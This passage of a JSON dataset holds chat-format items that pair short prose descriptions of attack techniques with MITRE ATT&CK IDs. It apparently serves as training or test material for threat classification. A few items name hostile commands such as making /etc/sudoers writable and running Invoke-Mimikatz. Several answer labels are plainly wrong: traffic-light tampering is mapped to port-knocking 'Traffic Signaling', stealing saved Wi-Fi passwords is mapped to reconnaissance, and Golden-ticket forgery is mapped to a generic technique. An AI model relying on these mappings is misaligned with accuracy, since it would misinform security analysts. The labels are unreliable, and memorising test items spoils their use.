                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries tamper with the production line of USB flash drives, embedding a tiny microcontroller that records all file transfers."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking the SetFileSecurity Windows API, the threat actor clears the 'Mark of the Web' attribute on a malicious PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a serverless function injection, the attacker runs a script that enumerates and copies sensitive configuration files from the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused a remote code execution vulnerability to change the site’s welcome page to a propaganda video."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident involved exploiting a misconfigured public Kubernetes dashboard, granting the attacker cluster admin rights."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the device’s ROMMON (ROM Monitor) mode to install malicious firmware that executes before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages SMB enumeration tools to list shared folders and computers within the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a DNS service that cycles through a set of compromised hosts, ensuring the malicious endpoint is always reachable despite takedowns."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus includes a routine that decodes a ROT13‑encoded configuration string during its initialization phase."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adjusted the trust directionality, converting a one‑way trust into a two‑way trust with a hostile domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abuses a mobile device management (MDM) API to issue a multi-factor authentication request to a victim's registered phone."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the threat actor harvests email addresses and associated passwords from a publicly leaked credential dump and logs into the accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script deletes the logs that record detection events, thereby blocking security tools from seeing malicious indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to map the internal network, the intrusion script collects routing table entries and interface configuration files."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged an exposed AWS IAM user access key to enumerate Secrets Manager secrets across multiple accounts, harvesting credentials for SaaS services."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves modifying the RunServices registry value to load a malicious driver."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swaps the signed boot image with an unsigned malicious counterpart to bypass secure boot."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable API that validates MFA tokens without proper rate limiting, enabling brute-force attempts to guess valid codes."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors create a rogue COM object and set its CLSID in the registry so that when the target software calls CoCreateInstance, the attacker’s payload runs."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a backdoor into the Linux initramfs during a system update, modifying the boot image."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT injects code into the memory of lsass.exe using OpenProcess, VirtualAllocEx, and WriteProcessMemory to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a compromised USB flash drive to automatically copy a wiper program onto any computer it is plugged into, replicating the attack across the network."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to call Get-WmiObject Win32_ComputerSystem to gather manufacturer and model information."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a credential‑stealing tool to extract saved Wi‑Fi passwords and VPN credentials from the victim's laptop."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged rundll32.exe to run a custom DLL that performed credential dumping, using the system binary as a proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit default credentials on network printers, turning them into bots that collectively launch phishing campaigns from legitimate email accounts."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider configures a rogue DHCP server that provides a bogus DNS server IP, redirecting victim queries to phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the TLS settings in the web server configuration, disabling TLS 1.2 and 1.3, thereby forcing clients to fallback to TLS 1.0."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker disables the host's firewalls and intrusion detection systems, leaving it exposed to further attacks."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a web server's HTML response to include malicious JavaScript that executes in the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate confidential documents by sending them via plain HTTP POST requests to a malicious web server."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs process injection by allocating memory in a target process and writing shellcode before triggering execution."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response logs show use of \"cmd.exe /Q /D /E:ON /V:ON /K\" to launch an interactive shell for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a data breach of a partner company's internal portal to obtain a list of employee names belonging to the target firm."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses template injection to supply malicious code that is executed by the server’s rendering engine, altering the content displayed to users."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised system initiates outbound connections to a hard‑coded domain using HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious plugin is added to a legitimate application, allowing the attacker to run code."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded within a shared module that is loaded by the victim's OS kernel, granting the attacker low-level execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware utilizes a custom Huffman coding scheme to shrink and hide transferred logs."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by reading LSASS's private memory to obtain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary inserts malicious code into a Microsoft Office document's VBA project, overwriting the original macros to conceal its payload."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample extracted Kerberos tickets from memory and forged Golden tickets to impersonate high‑level users."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a SQL injection, the intruder updated the site's banner text to display a defacement notice."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscated scripts are decoded at runtime and executed directly from memory, leaving no trace on disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses credential dumping tools after gaining initial access via a compromised admin account."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent malicious code is concealed in PowerShell profile scripts stored in user environment variables and executed in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the signed InstallUtil binary to execute a dropped .NET payload, effectively proxying execution through a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a compromised internal web proxy to tunnel command and control communications, bypassing outbound filtering."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign leverages zero‑day exploits in traffic signaling software to synchronize fake green lights across multiple cities."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a batch script to copy the Thunderbird saved passwords file and send it to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers plant a scheduled task that runs a command to add a privileged account on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script initiates a secure WebSocket (WSS) connection for stealthy data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor generates a flood of spoofed SIP INVITE messages to open VoIP servers, which respond with large SIP responses directed at the victim, resulting in a reflection amplification attack."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised trust provider to alter SIP files, allowing execution of unauthorized scripts on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group opened a remote shell through WinRM to enumerate user accounts on the target host."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses the screensaver feature by deploying a .scr file that drops a reverse shell whenever the screensaver activates after inactivity."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a custom PATH entry via a login script, causing all future command calls to resolve to malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a legitimate scheduled job to run a PowerShell command that downloaded and executed additional malicious components, employing indirect command execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor conducts a brute-force login attack on a web API endpoint, trying a large set of known weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the macOS screencapture command-line tool to take a snapshot of the active window and emails the image to a remote account."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module reads login credentials from the Windows Credential Manager using PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote actor configures a rogue TFTP server that the target's PXE client contacts, injecting malicious firmware at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal leverages the CLI of a VPN concentrator to add routes that forward traffic through a malicious tunnel."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses LDAP queries to extract trust relationship data, revealing which domains can be accessed via existing credentials."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised point‑of‑sale terminals, forming a botnet to capture payment data."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies the system's clipboard contents and sends them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a DNS-based lookup of public SSL certificates to identify the cryptographic keys used by the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Group Policy Preference settings, the adversary harvested service account passwords stored in the 'cpassword' attribute."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious .lnk file in the Startup folder that points to a payload, ensuring execution each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding write permissions to the sudoers file (chmod 664 /etc/sudoers), the intruder enables unauthorized users to execute commands as root on a Unix machine."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain includes invoking InstallUtil.exe to load a .NET payload, achieving technique T1218.004."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor executes a PowerShell script that calls `Invoke-Mimikatz` to perform credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers register a malicious Google Cloud Platform project and assign it privileged IAM roles."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a Visual Basic script that uses WMI to query process lists and report back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious installer script, the adversary replaced the legitimate PDF reader binary, enabling arbitrary code execution."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
